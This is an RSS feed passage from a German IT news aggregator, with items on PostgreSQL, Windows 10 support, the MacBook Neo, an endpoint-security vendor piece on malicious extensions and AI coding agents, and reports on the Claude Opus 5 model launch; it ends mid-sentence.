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Einige Links können Affiliate-Links sein. Kauft Ihr über einen solchen Link ein Produkt, erhalten wir eine kleine Provision. Am Kaufpreis ändert sich für Euch dadurch nichts.<br />
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--------<br />
<br />
► Alle News, Hands-ons und Gewinnspiele findet Ihr in dieser Playlist:<br />
https://www.youtube.com/playlist?list=PLVC_WMwVwvSjZfr6GlSyy-bNEXm9b-lN3<br/></p>]]></content:encoded>
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<title><![CDATA[PostgreSQL 13 Beta1 veröffentlicht]]></title>
<description><![CDATA[Die PostgreSQL-Entwickler haben die erste Betaversion von PostgreSQL 13 freigegeben. Die kommende Version von PostgreSQL wird zahlreiche Verbesserungen bei den Indexen und den Werkzeugen sowie etliche weitere Neuerungen bringen.]]></description>
<link>https://tsecurity.de/de/3693207/it-nachrichten/postgresql-13-beta1-veroeffentlicht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693207/it-nachrichten/postgresql-13-beta1-veroeffentlicht/</guid>
<pubDate>Sat, 25 Jul 2026 08:33:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die PostgreSQL-Entwickler haben die erste Betaversion von PostgreSQL 13 freigegeben. Die kommende Version von PostgreSQL wird zahlreiche Verbesserungen bei den Indexen und den Werkzeugen sowie etliche weitere Neuerungen bringen.]]></content:encoded>
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<item>
<title><![CDATA["Ritt auf Rasierklinge": Sicherheitsforscher warnen Windows-10-Nutzer]]></title>
<description><![CDATA[Das Support-Ende von Windows 10 war im Oktober 2025, doch fast die Hälfte der deutschen Privat-PCs nutzt das System weiter. Trotz der ESU-Gnadenfrist warnen Sicherheitsforscher vor steigenden Risiken und raten dringend zur baldigen Migration. (Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3693189/it-nachrichten/ritt-auf-rasierklinge-sicherheitsforscher-warnen-windows-10-nutzer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693189/it-nachrichten/ritt-auf-rasierklinge-sicherheitsforscher-warnen-windows-10-nutzer/</guid>
<pubDate>Sat, 25 Jul 2026 08:21:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,156425.html"><img hspace="5" border="0" align="left" alt="Update, Windows 10, Sicherheit, Patch, Performance, Fehlerbehebung, Patch Day, Bugfix, Windows 10 Update, Sicherheits-Update, Performance Update, Windows 10 Patch" width="128" height="72" src="https://i.wfcdn.de/teaser/128/49799.jpg"></a>Das Support-Ende von <a href="https://winfuture.de/special/windows10/" title="Windows 10 Special">Windows 10</a> war im Oktober 2025, doch fast die Hälfte der deutschen Privat-PCs nutzt das System weiter. Trotz der ESU-Gnadenfrist warnen Sicherheitsforscher vor steigenden Risiken und raten dringend zur baldigen Migration. (<a href="https://winfuture.de/news,156425.html">Weiter lesen</a>)]]></content:encoded>
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<title><![CDATA[Nvidia GeForce Download - Windows 10/11 Grafik-Treiber]]></title>
<description><![CDATA[Der Download installiert die neuesten Nvidia Treiber für Ge­Force-Grafikkarten unter Windows 10/11 und garantiert so ei­ne op­ti­ma­le Performance in Spielen. (Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3693157/it-nachrichten/nvidia-geforce-download-windows-1011-grafik-treiber/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693157/it-nachrichten/nvidia-geforce-download-windows-1011-grafik-treiber/</guid>
<pubDate>Sat, 25 Jul 2026 07:42:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/downloadvorschalt,3415.html"><img hspace="5" border="0" align="left" alt="Gaming, Windows 10, Nvidia, Grafikkarte, Treiber, Nvidia Geforce, Driver, Nvidia Treiber, nvidia download, Grafik-Treiber" width="128" height="72" src="https://i.wfcdn.de/teaser/128/46266.png"></a>Der Download installiert die neuesten Nvidia Treiber für Ge­Force-Grafikkarten unter Windows 10/11 und garantiert so ei­ne op­ti­ma­le Performance in Spielen. (<a href="https://winfuture.de/downloadvorschalt,3415.html">Weiter lesen</a>)]]></content:encoded>
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<title><![CDATA[MacBook Neo’s success wasn’t luck, it was a plan]]></title>
<description><![CDATA[It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.



And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the comp...]]></description>
<link>https://tsecurity.de/de/3693115/it-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693115/it-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</guid>
<pubDate>Sat, 25 Jul 2026 06:47:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s difficult to ignore the fact that Apple seems to have <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html">turned its MacBook Neo into a weapon</a> to promote platform growth, with enough performance under the hood to make competitors seem inferior.</p>



<p class="wp-block-paragraph">And even as the PC industry moves to try to compete with Apple’s last <a href="https://www.applemust.com/macbook-neo-continues-to-top-amazon-laptop-charts-in-us-uk/" target="_blank" rel="noreferrer noopener">huge Mac success</a>, the company is already planning a powerful follow-up.</p>



<p class="wp-block-paragraph">That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases. </p>



<h2 class="wp-block-heading"><strong>The numbers don’t lie</strong></h2>



<p class="wp-block-paragraph">“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” <a href="https://counterpointresearch.com/en/insights/global-pc-shipments-decline-q2-2026-memory-crisis" data-type="link" data-id="https://counterpointresearch.com/en/insights/global-pc-shipments-decline-q2-2026-memory-crisis" target="_blank" rel="noreferrer noopener">Counterpoint said in a post Wednesday</a>. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction. </p>



<p class="wp-block-paragraph"><a href="https://www.idc.com/resource-center/press-releases/2q26-pc-top5/" target="_blank">Recent IDC data</a> gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.</p>



<p class="wp-block-paragraph">“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director <a href="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html" data-type="link" data-id="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html">Olivier Blanchard said when the Neo was released</a>. </p>



<h2 class="wp-block-heading"><strong>Neo 2.0 is already coming</strong></h2>



<p class="wp-block-paragraph">In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is <a href="https://www.culpium.com/p/apple-in-talks-to-boost-mac-neo-production" target="_blank" rel="noreferrer noopener">already plotting</a> the path toward <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio" target="_blank" rel="noreferrer noopener">MacBook Neo 2.</a> Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.</p>



<p class="wp-block-paragraph">Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again. </p>



<p class="wp-block-paragraph">That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC. </p>



<p class="wp-block-paragraph">“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”</p>



<h2 class="wp-block-heading"><strong>This was never about luck</strong></h2>



<p class="wp-block-paragraph">This isn’t solely a market take about competition, it’s about planning.</p>



<p class="wp-block-paragraph">Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.</p>



<p class="wp-block-paragraph">The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.</p>



<p class="wp-block-paragraph">With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of <a href="https://www.computerworld.com/article/4150717/hexnode-ceo-macbook-neo-forces-it-to-rethink-its-budget-laptop-strategy.html">even more significant market change</a>. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[Claude Opus 5 arrives with near Fable performance at half the price]]></title>
<description><![CDATA[Anthropic's latest Claude upgrade targets developers and enterprises with stronger coding, better reasoning efficiency, prompt-cache-friendly tool changes, and near-Fable performance at Opus pricing.]]></description>
<link>https://tsecurity.de/de/3693067/it-nachrichten/claude-opus-5-arrives-with-near-fable-performance-at-half-the-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693067/it-nachrichten/claude-opus-5-arrives-with-near-fable-performance-at-half-the-price/</guid>
<pubDate>Sat, 25 Jul 2026 05:53:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic's latest Claude upgrade targets developers and enterprises with stronger coding, better reasoning efficiency, prompt-cache-friendly tool changes, and near-Fable performance at Opus pricing.]]></content:encoded>
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<title><![CDATA[v8.21.0-beta.1]]></title>
<description><![CDATA[Additional small tweaks, bug fixes, and performance enhancements. Thanks for using Signal!]]></description>
<link>https://tsecurity.de/de/3693046/downloads/v8210-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693046/downloads/v8210-beta1/</guid>
<pubDate>Sat, 25 Jul 2026 05:14:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Additional small tweaks, bug fixes, and performance enhancements. Thanks for using Signal!</li>
</ul>]]></content:encoded>
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<title><![CDATA[v0.32.4-rc0: model: add Laguna MLX support (#17237)]]></title>
<description><![CDATA[model: add Laguna MLX support

Add Laguna XS 2, XS 2.1, and S 2.1 support to the MLX model and create paths.
Read the source config to apply one quantization policy across dense and routed MoE layers. Keep the tied output head and router at source precision, quantize supported attention and exper...]]></description>
<link>https://tsecurity.de/de/3692833/downloads/v0324-rc0-model-add-laguna-mlx-support-17237/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692833/downloads/v0324-rc0-model-add-laguna-mlx-support-17237/</guid>
<pubDate>Sat, 25 Jul 2026 03:31:54 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>model: add Laguna MLX support</li>
</ul>
<p>Add Laguna XS 2, XS 2.1, and S 2.1 support to the MLX model and create paths.</p>
<p>Read the source config to apply one quantization policy across dense and routed MoE layers. Keep the tied output head and router at source precision, quantize supported attention and expert projections, selectively promote sensitive expert down projections, and emit per-tensor metadata for mixed quantization blobs.</p>
<p>Correct dense expert loading, BF16 source-layout handling, expert global-scale shapes and dtypes, routing-score scaling, and mixed-precision expert dispatch. Gate/up and down projections select quantized or dense execution independently so promoted BF16 down projections do not force quantized gate/up weights through the dense fallback.</p>
<p>Optimize the forward pass with compatible gate/up fusion, sorted standard GatherMM and GatherQMM operations for larger prefills, model-local mlx.Compile closures for elementwise MoE work, and cache-backed 512-token prefill chunks. This keeps the implementation on maintained MLX operations without custom kernels.</p>
<p>Add focused tests for Laguna configuration variants, quantization policy and metadata, dense and routed expert loading, mixed-precision dispatch, compiled-versus-eager parity, fused projections, routing, and prefill chunking.</p>
<ul>
<li>review comments and S 2.1 performance fixes</li>
</ul>
<p>Address renderer/parser selection and mixed-precision expert quantization review feedback.</p>
<p>Keep Laguna weights resident on Metal to prevent repeated paging of its large, sparsely accessed expert buffers. Scope this policy to Laguna GPU execution.</p>
<p>Remove obsolete 512-token prefill chunking now that the runner's 2048-token path is faster.</p>
<ul>
<li>
<p>review comments addressed</p>
</li>
<li>
<p>fix create</p>
</li>
</ul>]]></content:encoded>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Claude Opus 5: Neues Anthropic-Modell soll so gut wie Fable 5 sein, aber nur die Hälfte kosten]]></title>
<description><![CDATA[Anthropic hat mit Claude Opus 5 ein neues KI-Modell an den Start gebracht, das Fable 5 in Sachen Performance die Stirn bieten können soll. Nur bei der Cybersicherheit ist noch Luft nach oben. Nutzer:innen zahlen dafür aber nur die Hälfte der KI-Token-Kosten.weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3692496/it-nachrichten/claude-opus-5-neues-anthropic-modell-soll-so-gut-wie-fable-5-sein-aber-nur-die-haelfte-kosten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692496/it-nachrichten/claude-opus-5-neues-anthropic-modell-soll-so-gut-wie-fable-5-sein-aber-nur-die-haelfte-kosten/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic hat mit Claude Opus 5 ein neues KI-Modell an den Start gebracht, das Fable 5 in Sachen Performance die Stirn bieten können soll. Nur bei der Cybersicherheit ist noch Luft nach oben. Nutzer:innen zahlen dafür aber nur die Hälfte der KI-Token-Kosten.<a href="https://t3n.de/news/claude-opus-5-fable-5-guenstiger-1754781/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
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<title><![CDATA[Anthropic claims its new Claude Opus 5 delivers near-Fable 5 performance at half the token price]]></title>
<description><![CDATA[Anthropic's new flagship model Claude Opus 5 posts top scores in coding and knowledge work at half of Fable 5's token rates. On ARC-AGI-3, a benchmark for novel problem-solving, Opus 5 hits 30.2 percent, nearly four times higher than GPT-5.6 Sol.
The article Anthropic claims its new Claude Opus 5...]]></description>
<link>https://tsecurity.de/de/3692319/ai-nachrichten/anthropic-claims-its-new-claude-opus-5-delivers-near-fable-5-performance-at-half-the-token-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692319/ai-nachrichten/anthropic-claims-its-new-claude-opus-5-delivers-near-fable-5-performance-at-half-the-token-price/</guid>
<pubDate>Fri, 24 Jul 2026 20:51:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2560" height="1440" src="https://the-decoder.com/wp-content/uploads/2026/07/claude_opus_5_logo-scaled.webp" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Anthropic's new flagship model Claude Opus 5 posts top scores in coding and knowledge work at half of Fable 5's token rates. On ARC-AGI-3, a benchmark for novel problem-solving, Opus 5 hits 30.2 percent, nearly four times higher than GPT-5.6 Sol.</p>
<p>The article <a href="https://the-decoder.com/anthropic-claims-its-new-claude-opus-5-delivers-near-fable-5-performance-at-half-the-token-price/">Anthropic claims its new Claude Opus 5 delivers near-Fable 5 performance at half the token price</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Nvidia reveals deep dive into what makes Vera CPU tick — with the super-powered Olympus core promising huge performance increases and more]]></title>
<description><![CDATA[Nvidia reveals deepest Vera CPU disclosure yet: 88 custom Olympus cores with internally measured SPEC CPU 2026 numbers that show it winning against rivals.]]></description>
<link>https://tsecurity.de/de/3692296/it-nachrichten/nvidia-reveals-deep-dive-into-what-makes-vera-cpu-tick-with-the-super-powered-olympus-core-promising-huge-performance-increases-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692296/it-nachrichten/nvidia-reveals-deep-dive-into-what-makes-vera-cpu-tick-with-the-super-powered-olympus-core-promising-huge-performance-increases-and-more/</guid>
<pubDate>Fri, 24 Jul 2026 20:35:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nvidia reveals deepest Vera CPU disclosure yet: 88 custom Olympus cores with internally measured SPEC CPU 2026 numbers that show it winning against rivals.]]></content:encoded>
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<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given 